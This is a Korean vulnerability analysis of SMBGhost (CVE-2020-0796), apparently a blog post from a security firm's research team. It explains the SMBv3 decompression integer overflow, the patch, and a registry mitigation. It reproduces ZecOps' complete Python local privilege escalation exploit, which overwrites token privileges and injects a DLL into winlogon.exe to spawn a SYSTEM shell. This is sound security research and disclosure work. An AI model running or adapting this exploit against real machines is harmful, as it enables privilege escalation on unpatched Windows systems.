SMBGhost

CVE
Research

라온화이트햇 핵심연구팀 김동민

소개

SMBGhost : CVE-2020-0796

현재 공개된 RCE PoC는 없음, 그러나 LPE PoC 는 있음 -> RCE가 공개 될 경우, 스크립트 키디나 사이버 범죄자로부터 사회적 파급력을 고려하여 공개하지 않기로 결정. (약 48000대의 PC 노출)

영향도 : Windows 10, server 2016 (v1903 및 v1909)

/assets/2020-04-01/smb.png

Kryptos Logic의 Marcus Hutchins 연구원이 여러 PoC를 공개함.

인증되지 않은 공격자가 특수하게 조작된 패킷을 구성해 SMBv3 서버로 요청. Windows 10 버전 1903에 추가 된 새로운 기능(SMBv3 - 압축)

배경지식

SMBv3 부터 새로 추가된 압축 및 해제 관련 구조체

/assets/2020-04-01/smb1.png

버그

bug : srv2.sys!Srv2DecompressData - Integer Overflow SMB2_Compression_Transform_Header 에서 OriginalSize, Offset 조작하여 Integer Overflow 발생

발생위치 : add ecx, eax ; OriginalSize + Offset (in srv2.sys!Srv2DecompressData) 이후 계산된 (조작된)버퍼크기를 SrvNetAllocateBuffer 함수로 전달하여 버퍼를 할당.

/assets/2020-04-01/smb2.png

RtlDecompressBufferXpressLz 함수를 통해 오버플로우된 데이터를 확인할 수 있음.

/assets/2020-04-01/smb3.png

Wireshark 패킷 캡처 (4294967295 → 0xffffffff)

/assets/2020-04-01/smb4.png

ffff9480`20e2ad98  nt!RtlDecompressBufferXpressLz+0x2d0
ffff9480`20e2adb0  nt!RtlDecompressBufferEx2+0x66
ffff9480`20e2ae00  srvnet!SmbCompressionDecompress+0xd8
ffff9480`20e2ae70  srv2!Srv2DecompressData+0xdc

-> nt!RtlDecompressBufferXpressLz 함수에서 버퍼 할당을 하며 최종적으로 Integer Overflow 에서 Buffer Overflow 로 발전.

/assets/2020-04-01/smb5.png

/assets/2020-04-01/smb6.png

Exploit

/assets/2020-04-01/smb7.png

# CVE-2020-0796 Local Privilege Escalation POC
# (c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
# Intended only for educational and testing in corporate environments.
# ZecOps takes no responsibility for the code, use at your own risk.
# Based on the work of Alexandre Beaulieu:
# https://gist.github.com/alxbl/2fb9a0583c5b88db2b4d1a7f2ca5cdda

import sys
import random
import binascii
import struct
import os
import subprocess
import pathlib

from write_what_where import write_what_where

from ctypes import *
from ctypes.wintypes import *

# Shorthands for some ctypes stuff.
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.psapi
advapi32 = windll.advapi32
OpenProcessToken = advapi32.OpenProcessToken

# Constants.
STATUS_SUCCESS = 0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE = 0xC0000008
TOKEN_QUERY = 8
SystemExtendedHandleInformation = 64

NTSTATUS = DWORD
PHANDLE = POINTER(HANDLE)
PVOID = LPVOID = ULONG_PTR = c_void_p

# Function signature helpers.
ntdll.NtQuerySystemInformation.argtypes = [DWORD, PVOID, ULONG, POINTER(ULONG)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS

advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)]
advapi32.OpenProcessToken.restype  = BOOL

# Structures for NtQuerySystemInformation.
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    _fields_ = [
        ("Object", PVOID),
        ("UniqueProcessId", PVOID),
        ("HandleValue", PVOID),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    _fields_ = [
        ("NumberOfHandles", PVOID),
        ("Reserved", PVOID),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]

def find_handles(pid, data):
    """
    Parses the output of NtQuerySystemInformation to find handles associated
    with the given PID.
    """
    header = cast(data, POINTER(SYSTEM_HANDLE_INFORMATION_EX))
    nentries = header[0].NumberOfHandles
    print('[+] Leaking access token address')

    handles = []
    data = bytearray(data[16:])

    # Manually unpacking the struct because of issues with ctypes.parse
    while nentries > 0:
        p = data[:40]
        e = struct.unpack('<QQQLHHLL', p)
        nentries -= 1
        data = data[40:]
        hpid = e[1]
        handle = e[2]

        if hpid != pid: continue
        handles.append((e[1], e[0], e[2]))

    return handles

def get_token_address():
    """
    Leverage userland APIs to leak the current process' token address in kernel
    land.
    """
    hProc = HANDLE(kernel32.GetCurrentProcess())
    pid = kernel32.GetCurrentProcessId()
    print('[+] Current PID: ' + str(pid))

    h = HANDLE()

    res = OpenProcessToken(hProc, TOKEN_QUERY, byref(h))

    if res == 0:
        print('[-] Error getting token handle: ' + str(kernel32.GetLastError()))
    else:
        print('[+] Token Handle: ' + str(h.value))

    # Find the handles associated with the current process
    q = STATUS_INFO_LENGTH_MISMATCH
    out = DWORD(0)
    sz = 0
    while q == STATUS_INFO_LENGTH_MISMATCH:
        sz += 0x1000
        handle_info = (c_ubyte * sz)()
        q = ntdll.NtQuerySystemInformation(SystemExtendedHandleInformation, byref(handle_info), sz, byref(out))

    # Parse handle_info to retrieve handles for the current PID
    handles = find_handles(pid, handle_info)
    hToken = list(filter(lambda x: x[0] == pid and x[2] == h.value, handles))
    if len(hToken) != 1:
        print('[-] Could not find access token address!')
        return None
    else:
        pToken = hToken[0][1]
        print('[+] Found token at ' + hex(pToken))
    return pToken

def exploit():
    """
    Exploits the bug to escalate privileges.
    Reminder:
    0: kd> dt nt!_SEP_TOKEN_PRIVILEGES
       +0x000 Present          : Uint8B
       +0x008 Enabled          : Uint8B
       +0x010 EnabledByDefault : Uint8B
    """
    token = get_token_address()
    if token is None: sys.exit(-1)

    what = b'\xFF' * 8 * 3
    where = token + 0x40

    print('[+] Writing full privileges on address %x' % (where))

    write_what_where('127.0.0.1', what, where)

    print('[+] All done! Spawning a privileged shell.')
    print('[+] Check your privileges: !token %x' % (token))

    dll_path = pathlib.Path(__file__).parent.absolute().joinpath('spawn_cmd.dll')
    subprocess.call(['Injector.exe', '--process-name', 'winlogon.exe', '--inject', dll_path], stdout=open(os.devnull, 'wb'))

if __name__ == "__main__":
    exploit()

패치내용

패치 전

/assets/2020-04-01/smb8.png

패치 후

/assets/2020-04-01/smb9.png

대응방안

SMBv3 압축을 비활성화 할 것을 권장

Set-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters" DisableCompression -Type DWORD -Value 1 -Force

마치며

서버 취약점 srv2.sys 클라이언트 취약점 mrxsmb.sys -> 서버, 클라이언트 모두 같은 코드를 가지고 있음. 즉, 서버-클라이언트 모두 동일한 취약한 코드 실행가능 (웜 형태로 전파 가능)

Kernel ASLR 또는 KASLR과 같은 Windows의 최신 보호기법을 우회하려면 추가 버그가 필요할 수 있기 때문에, 원격 코드 실행에서 완전한 원격 코드 실행으로 전환하는 것은 어려운것으로 판단.

Reference